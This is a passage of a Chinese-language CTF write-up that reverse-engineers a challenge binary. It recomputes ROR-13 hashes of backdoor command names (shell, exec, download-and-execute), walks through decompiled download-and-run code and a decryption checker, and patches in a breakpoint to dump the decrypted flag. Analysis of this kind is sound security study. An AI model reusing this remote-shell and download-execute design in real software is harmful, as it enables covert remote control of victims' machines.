        high = value >> (bits - count)
        # 在 Python 中,我们不需要有符号检查和旋转掩码
        # 因为 Python 整数可以正确处理旋转的按位运算。
        value <<= count
        value |= high
    else: # 为了方便,在 rol 中处理右旋转
        count = -count % bits # 有效的右旋转计数
        low = value << (bits - count)
        value >>= count
        value |= low
    return value & ((1 << bits) - 1)  # 确保结果在 'bits' 范围内 (掩码)
def ror4(value, count):
    """
    使用 rol 模拟 __ROR4__ (向右旋转 4 字节 / 32 位)。
    Args:
        value: 要向右旋转的 32 位无符号整数值。
        count: 要向右旋转的位数(正数)。
    Returns:
        向右旋转的 32 位无符号整数值。
    """
    return rol(value, -count, bits=32) # 向右旋转是使用负数的向左旋转
def get_cmd_from_name(name):
    cmd = 0
    str_len = len(name)
    cmd_code = []
    for i in range(str_len):
        cmd_code.append(ord(name[i]))
    for i in range(str_len):
        code = cmd_code[i]
        cmd = code + ror4(cmd, 0xD)
    return cmd

CMDSHEL = get_cmd_from_name("CMDSHEL")
EXECCMD = get_cmd_from_name("EXECCMD")  
EXITSHEL = get_cmd_from_name("EXITSHEL")
DOWNEXEC = get_cmd_from_name("DOWNEXEC")

print(f'0x{CMDSHEL:X}') # 0x29385273
print(f'0x{EXECCMD:X}') # 0x89806130
print(f'0x{EXITSHEL:X}') # 0x298D5B11
print(f'0x{DOWNEXEC:X}') # 0xD68FEEF

然后可以得到相应的分支。(因为篇幅原因,本文中省略了关于其他分支的细节,但我确实分析了它们。) 其中,重点关注 DOWNEXEC 分支:

case 0xD68FEEF:
  v22 = strtok_s(0i64, Delimiter, &Context);
  v23 = strtok_s(0i64, Delimiter, &Context);
  v24 = StrToIntA(v23);
  v25 = (const WCHAR *)sub_140001920(v11);
  v26 = sub_140001920(v22);
  sub_140002890(v25, v26, v24);

跟进 sub_140001920

void *__fastcall sub_140001920(char *SrcBuf)
{
  __int64 v1; // rax
  __int64 v3; // rcx
  bool v4; // zf
  __int64 v5; // rcx
  size_t MaxCount; // rbx
  void *v7; // rsi
  size_t PtNumOfCharConverted; // [rsp+30h] [rbp-18h] BYREF
  v1 = -1i64;
  v3 = -1i64;
  do
    v4 = SrcBuf[++v3] == 0;
  while ( !v4 );
  if ( SrcBuf[v3 - 1] == 10 )
  {
    v5 = -1i64;
    do
      v4 = SrcBuf[++v5] == 0;
    while ( !v4 );
    SrcBuf[v5 - 1] = 0;
  }
  do
    v4 = SrcBuf[++v1] == 0;
  while ( !v4 );
  MaxCount = 2 * v1;
  v7 = malloc(2 * v1 + 2);
  memset(v7, 0, MaxCount + 2);
  PtNumOfCharConverted = 0i64;
  mbstowcs_s(&PtNumOfCharConverted, (wchar_t *)v7, MaxCount + 2, SrcBuf, MaxCount);
  return v7;
}

这实际上是一个 to_wchar 函数。 所以这部分的内容是将命令名称之后的第一个参数作为 v25,将第二个参数作为 v26,将第三个参数转换为 int 作为 v24。 然后使用这些参数调用 sub_140002890。 让我们看看它的函数签名:

int __fastcall sub_140002890(LPCWSTR lpszUrl, _WORD *Src, int a3)

我们只需要关注第二个和第三个参数的作用。使用交叉引用来定位:

memcpy(&v27[2 * v6 + 2], Src, v31);
CreateProcessW(
    0i64,
    (LPWSTR)v27,
    0i64,
    0i64,
    0,
    0,
    0i64,
    Buffer,
    &StartupInfo,
    &ProcessInformation);

我们定位到它作为第二个参数传递给 CreateProcessW,也就是 LPWSTR lpCommandLine。因此,Src 实际上是 data.exeargv[1]。 接下来,让我们定位 a3

 if ( a3 )
 {
   StartupInfo.cb = 104;
   v24 = -1i64;
   memset(&StartupInfo.cb + 1, 0, 100);
   memset(&ProcessInformation, 0, sizeof(ProcessInformation));
   do
     ++v24;
   while ( Src[v24] );
   v25 = -1i64;
   do
     ++v25;
   while ( TempFileName[v25] );
   v26 = (unsigned int)(2 * (v25 + v24) + 4);
   v27 = (char *)malloc(v26);
   memset(v27, 0, (unsigned int)v26);
   v28 = -1i64;
   do
     ++v28;
   while ( TempFileName[v28] );
   memcpy(v27, TempFileName, 2 * v28);
   v29 = -1i64;
   do
     v8 = TempFileName[++v29] == 0;
   while ( !v8 );
   v30 = -1i64;
   *(_WORD *)&v27[2 * v29] = 32;
   do
     ++v30;
   while ( Src[v30] );
   v31 = 2 * v30;
   do
     v8 = TempFileName[++v6] == 0;
   while ( !v8 );
   memcpy(&v27[2 * v6 + 2], Src, v31);
   CreateProcessW(
     0i64,
     (LPWSTR)v27,
     0i64,
     0i64,
     0,
     0,
     0i64,
     Buffer,
     &StartupInfo,
     &ProcessInformation);
 }

由上可知 a3 控制是否调用 CreateProcessW,即是否执行下载的文件。 所以我们现在已经完成了对第一个可执行文件的分析,并获得了第二个可执行文件(data.txt,即 data.exe)和 data.pngdata.png 看起来是加密的,解密方法应该就在data.exe

解密程序分析

拖入DIE: DIE2 依旧无壳,拖入IDA: Snipaste_2025-04-01_18-29-56

可以看到它没有被混淆,所以得到了一个相对清晰的 main 函数。

argv[1] 被转换为多字节字符串并作为参数传递给 sub_140001260,它应该就是主逻辑函数。

Snipaste_2025-04-01_18-31-42 Snipaste_2025-04-01_18-32-32 通过分析,发现 pbData 经过各种处理后,被用作解密密钥。它还从 %temp% 中读取 data.png 作为要解密的数据。所以作为 argv[1] 输入的 DEKRYPT 是密钥。 让我们看一下以下逻辑:

if ( CryptDecrypt(hKey, 0i64, v12, 0, (BYTE *)v10, &v17) )
{
  memcpy(v11, v10, v17);
  v11 += v17;
}

while ( !v12 );

v13 = FileSize - *(v11 - 1);
v14 = malloc(v13);
memset(v14, 0, v13);
memcpy(v14, &v11[-v15], v13);
sub_1400010E0((BYTE *)v14, v13);

根据 CryptDecrypt 函数原型,我们知道 v10 是解密数据的缓冲区,也被移动到 v14v13 是长度。 然后,这两个参数用于调用 sub_1400010E0。让我们跟踪它:

BOOL __fastcall sub_1400010E0(BYTE *pbData, DWORD dwDataLen)
{
  BOOL result; // eax
  void *v5; // rbx
  DWORD pdwDataLen; // [rsp+30h] [rbp-40h] BYREF
  HCRYPTHASH phHash; // [rsp+38h] [rbp-38h] BYREF
  HCRYPTPROV phProv; // [rsp+40h] [rbp-30h] BYREF
  int Buf2[8]; // [rsp+48h] [rbp-28h] BYREF
  phProv = 0i64;
  result = CryptAcquireContextW(&phProv, 0i64, 0i64, 0x18u, 0xF0000000);
  if ( result )
  {
    phHash = 0i64;
    if ( CryptCreateHash(phProv, 0x800Cu, 0i64, 0, &phHash) && CryptHashData(phHash, pbData, dwDataLen, 0) )
    {
      pdwDataLen = 0;
      if ( CryptGetHashParam(phHash, 2u, 0i64, &pdwDataLen, 0) )
      {
        v5 = malloc(pdwDataLen);
        memset(v5, 0, pdwDataLen);
        if ( CryptGetHashParam(phHash, 2u, (BYTE *)v5, &pdwDataLen, 0) )
        {
          Buf2[0] = 0x829E7403;
          Buf2[1] = 0xAE136FC8;
          Buf2[2] = 0xD32FE57C;
          Buf2[3] = 0x363D418D;
          Buf2[4] = 0x92DB7146;
          Buf2[5] = 0x70FF29F6;
          Buf2[6] = 0x193D0B86;
          Buf2[7] = 0xF7DF625F;
          if ( !memcmp(v5, Buf2, pdwDataLen) )
            sub_1400015F0(std::cout);
        }
      }
      CryptDestroyHash(phHash);
    }
    return CryptReleaseContext(phProv, 0);
  }
  return result;
}

通过分析,可以知道这是一个哈希验证函数。如果哈希匹配硬编码数据 buf2,它会通过 std::cout 调用 sub_1400015F0 来输出特定信息。此函数应该是用于验证解密的信息是否正确。 通过跟踪 sub_1400015F0,我们找到以下信息: Snipaste_2025-04-01_18-37-47 因此,我们可以首先将 data.png 放在 %temp% 目录中,并使用密钥 DEKRYPT 运行该程序,看看是否正确:

image-20250407231125582

这表明这是对的。那么要如何获取数据呢?显然不需要重新实现算法,因为解密程序已经为我们完成了所有操作。 只需要在传递到 sub_1400010E0 之前设置一个断点,以获取解密后的缓冲区指针和数据长度,然后dump即可。

Patch一下:

original:

.text:000000014000157F E8 5C FB FF FF                call    sub_1400010E0

Patch:

.text:000000014000157F CC      int     3      ; Trap to Debugger
.text:0000000140001580 90      nop
.text:0000000140001581 90      nop
.text:0000000140001582 90      nop
.text:0000000140001583 90      nop

使用 x64dbg,用以下命令转储:

savedata "D:\CTF\race\5353\decrypted.png", rcx, rdx

Snipaste_2025-04-01_18-45-36

得到flag:

decrypted

结论

这题并没有那么困难。就算身体不适,我也只花了 4 个小时来解决它。正常情况下,也许一半的时间就足够了。困难在于查阅文档、基本的 Wireshark 技能。

还有,不要忘记从 %temp%中删除 data.png!

文章目录